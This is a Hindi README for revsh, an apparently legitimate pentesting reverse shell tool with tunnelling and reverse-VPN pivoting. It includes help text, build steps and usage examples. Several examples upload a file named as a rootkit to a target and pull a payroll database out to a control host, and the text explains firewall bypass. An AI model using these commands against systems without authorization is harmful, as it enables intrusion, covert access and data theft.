
टर्मिनल सपोर्ट, डेटा टनलिंग और उन्नत पिवोटिंग क्षमताओं के साथ एक रिवर्स शेल।
revsh एक उपकरण है जो रिवर्स शेल को टर्मिनल समर्थन, रिवर्स VPN के लिए उन्नत पिवोटिंग, और मनमाना डेटा टनलिंग स्थापित करने के लिए है।
"रिवर्स शेल" क्या है?
रिवर्स शेल एक नेटवर्क कनेक्शन है जो रिमोट होस्ट तक शेल पहुंच प्रदान करता है। अन्य रिमोट लॉगिन टूल जैसे telnet और ssh के विपरीत, रिवर्स शेल की शुरुआत रिमोट होस्ट द्वारा की जाती है। रिमोट नेटवर्क से आउटबाउंड कनेक्शन शुरू करने की यह तकनीक फ़ायरवॉल को दरकिनार करने की अनुमति देती है जो केवल इनबाउंड कनेक्शन को ब्लॉक करने के लिए कॉन्फ़िगर किए गए हैं।
"रिवर्स VPN" क्या है?
revsh अपने क्रिप्टो टनल के दोनों छोरों पर एक वर्चुअल ईथरनेट कार्ड (tun/tap) जोड़ने में सक्षम है। इन कार्डों का उपयोग तब रॉ आईपी पैकेट या ईथरनेट फ्रेम को अग्रेषित करने के लिए किया जा सकता है। जब Iptables NAT नियम के साथ संयोजित किया जाता है, या एक वास्तविक ईथरनेट कार्ड को ब्रिज किया जाता है, तो यह ऑपरेटर को लक्ष्य मशीनों के नेटवर्क पर पूरी तरह से रूट करने योग्य आईपी पता प्राप्त करने की अनुमति देता है। यह, संक्षेप में, एक पूर्ण VPN है जिसने इन-बाउंड पैकेट फ़िल्टरिंग को दरकिनार करने और ऑपरेटर को पूर्ण नेटवर्क पहुंच प्रदान करने के लिए ऑपरेटर को एक कॉल-बैक किया है। (अधिक जानकारी के लिए "Documentation/REVERSE_VPN.md" देखें।)
"बाइंड शेल" क्या है?
बाइंड शेल एक शेल है जो एक सामान्य फॉरवर्ड नेटवर्क कनेक्शन से प्रदान किया जाता है। revsh रिवर्स और बाइंड शेल दोनों का समर्थन करता है। बाइंड शेल को लागू करने के लिए आप या तो कनेक्शन के दोनों छोरों पर -b फ्लैग का उपयोग कर सकते हैं, या बाइनरी को 'bindsh' के रूप में चला सकते हैं।
क्या मैं सिर्फ netcat का उपयोग नहीं कर सकता?
रिवर्स शेल स्थापित करने के लिए कई तकनीकें हैं, लेकिन ये विधियाँ टर्मिनल समर्थन प्रदान नहीं करती हैं। revsh एक रिवर्स शेल की अनुमति देता है जिसका कनेक्शन सूडो-टर्मिनल द्वारा मध्यस्थ होता है, और इस प्रकार निम्नलिखित सुविधाओं की अनुमति देता है:
इसके अलावा, revsh निम्नलिखित सुविधाएँ भी प्रदान करता है:
revsh एक पेंटेस्टर के टूलकिट के लिए एक पूरक उपकरण के रूप में अभिप्रेत है जो एन्क्रिप्टेड टनल के पार टर्मिनल सुविधाओं का पूरा सेट प्रदान करता है।
मैं revsh का उपयोग कहाँ कर सकता हूँ?
revsh x86_64 Linux पर विकसित किया गया था। यहाँ उन आर्किटेक्चर / OS संयोजनों की एक संक्षिप्त सूची है जिन पर इसका उपयोग किया गया है:
(यदि आपने किसी अन्य प्लेटफॉर्म पर revsh का सफलतापूर्वक उपयोग किया है, तो मुझे एक लाइन भेजें और मैं इसे सूची में जोड़ दूंगा।)
empty@monkey:~$ revsh -h
Control: revsh -c [CONTROL_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
Target: revsh [TARGET_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
ADDRESS कंट्रोल लिसनर का पता। (डिफ़ॉल्ट "0.0.0.0" है।)
PORT कंट्रोल लिसनर का पोर्ट। (डिफ़ॉल्ट "2200" है।)
CONTROL_OPTIONS:
-c "कमांड और कंट्रोल" मोड में चलाएँ। (डिफ़ॉल्ट टार्गेट मोड है।)
-a अनाम डिफी-हेलमैन मोड सक्षम करें। (डिफ़ॉल्ट एपीमेरल डिफी-हेलमैन है।)
-d KEYS_DIR एक वैकल्पिक निर्देशिका में कुंजियों को संदर्भित करें। (डिफ़ॉल्ट "~/.revsh/keys/" है।)
-f RC_FILE एक वैकल्पिक rc फ़ाइल संदर्भित करें। (डिफ़ॉल्ट "~/.revsh/rc" है।)
-s SHELL SHELL को रिमोट शेल के रूप में इन्वोक करें। (डिफ़ॉल्ट "/bin/bash" है।)
-F LOG_FILE सामान्य उपयोग और त्रुटियों को LOG_FILE में लॉग करें। (कोई डिफ़ॉल्ट सेट नहीं।)
TARGET_OPTIONS:
-t SEC कनेक्शन टाइमआउट को SEC सेकंड पर सेट करें। (डिफ़ॉल्ट "3600" है।)
-r SEC1,SEC2 रीट्री समय को SEC1 सेकंड पर सेट करें, या (डिफ़ॉल्ट "600,1200" है।)
SEC1 से SEC2 की सीमा में रैंडम होने पर।
MUTUAL_OPTIONS:
-k कीप-अलाइव मोड में चलाएँ।
नोड न तो सामान्य रूप से बाहर निकलेगा और न ही टाइमआउट होगा।
-L [LHOST:]LPORT:RHOST:RPORT
स्थैतिक सॉकेट फॉरवर्डिंग एक स्थानीय लिसनर के साथ
LHOST:LPORT पर RHOST:RPORT को अग्रेषित करता है।
-R [RHOST:]RPORT:LHOST:LPORT
स्थैतिक सॉकेट फॉरवर्डिंग एक रिमोट लिसनर के साथ
RHOST:RPORT पर LHOST:LPORT को अग्रेषित करता है।
-D [LHOST:]LPORT
डायनेमिक सॉकेट फॉरवर्डिंग एक स्थानीय लिसनर के साथ
LHOST:LPORT पर। (Socks 4, 4a, और 5. केवल TCP कनेक्ट।)
-B [RHOST:]RPORT
डायनेमिक सॉकेट फॉरवर्डिंग एक रिमोट
लिसनर के साथ LHOST:LPORT पर। (Socks 4, 4a, और 5. केवल TCP कनेक्ट।)
-x प्रॉक्सी के ऑटोमैटिक सेटअप को अक्षम करें। (डिफ़ॉल्ट: प्रॉक्सी D2280 और tun/tap डिवाइस।)
-b बाइंड शेल मोड में शुरू करें। (डिफ़ॉल्ट रिवर्स शेल मोड है।)
दोनों छोरों पर -b फ्लैग का उपयोग होना चाहिए।
-n गैर-इंटरैक्टिव नेटकैट शैली डेटा ब्रोकर। (डिफ़ॉल्ट रिमोट tty के साथ इंटरैक्टिव है।)
कोई tty नहीं। फ़ाइलें कॉपी करने के लिए उपयोगी।
-v वर्बोज़। -vv और -vvv verbosity बढ़ाते हैं।
-V प्रोग्राम और प्रोटोकॉल संस्करण प्रिंट करें।
-h यह सहायता प्रिंट करें।
-e कुछ उपयोग उदाहरण प्रिंट करें।
सबसे पहले, आपको OpenSSL को स्रोत से बिल्ड करना होगा। (नीचे नोट देखें।)
git clone https://github.com/openssl/openssl.git
cd openssl/
./config no-shared -static # ये विकल्प OpenSSL के विरुद्ध स्थैतिक एप्लिकेशन बनाने के लिए आवश्यक हैं।
make && make test # हम "make install" को छोड़ देते हैं ताकि हम आपके सिस्टम के डिफ़ॉल्ट OpenSSL से टकराव न करें। हम _revsh_ को इस ट्री में संकलित OpenSSL के विरुद्ध बनाएंगे।
cd ..
अब revsh बनाएं।
git clone https://github.com/emptymonkey/revsh.git
cd revsh
vi config.h # अपनी स्थिति के अनुरूप नए डिफ़ॉल्ट सेट करें।
vi Makefile # जाँचें कि चयनित बिल्ड वातावरण वही है जो आप चाहते हैं। (यह शायद पहले से ही डिफ़ॉल्ट रूप से है।)
make # इसमें बहुत लंबा समय लग सकता है, हालांकि आमतौर पर नहीं लगता।
make install
vi ~/.revsh/rc # अपने रिमोट शेल को वैयक्तिकृत करने के लिए अपने पसंदीदा स्टार्टअप कमांड जोड़ें।
revsh -h
नोट: OpenSSL 1.1.0 के रिलीज़ के साथ, स्टैटिकली लिंक्ड बाइनरी में उपयोग के लिए OpenSSL को स्रोत से बनाने की आवश्यकता है। अधिकांश Linux डिस्ट्रो (काली सहित) के साथ आने वाली OpenSSL लाइब्रेरीज़ के विरुद्ध स्टैटिकली लिंक्ड बाइनरी बनाना काम नहीं करेगा। (यदि यह बिल्कुल बनता भी है, तो यह SEGFAULT करेगा।)
कंट्रोल होस्ट उदाहरण IP: 192.168.0.42
टार्गेट होस्ट उदाहरण IP: 192.168.0.66
डिफ़ॉल्ट पोर्ट '2200' पर इंटरैक्टिव उदाहरण:
control: revsh -c
target: revsh 192.168.0.42
गैर-मानक पोर्ट '443' पर इंटरैक्टिव उदाहरण:
control: revsh -c 192.168.0.42:443
target: revsh 192.168.0.42:443
बाइंडशेल उदाहरण:
target: revsh -b
control: revsh -c -b 192.168.0.66
गैर-इंटरैक्टिव फ़ाइल अपलोड उदाहरण:
control: cat ~/bin/rootkit | revsh -c -n
target: revsh 192.168.0.42 > ./totally_not_a_rootkit
गैर-इंटरैक्टिव फ़ाइल डाउनलोड उदाहरण:
control: revsh -c -n >payroll_db.tar
target: cat payroll_db.tar | revsh 192.168.0.42
मौजूदा टनल के पार गैर-इंटरैक्टिव फ़ाइल डाउनलोड उदाहरण:
control: revsh -c -n 127.0.0.1:2291 >payroll_db.tar
target: cat payroll_db.tar | revsh 127.0.0.1:2290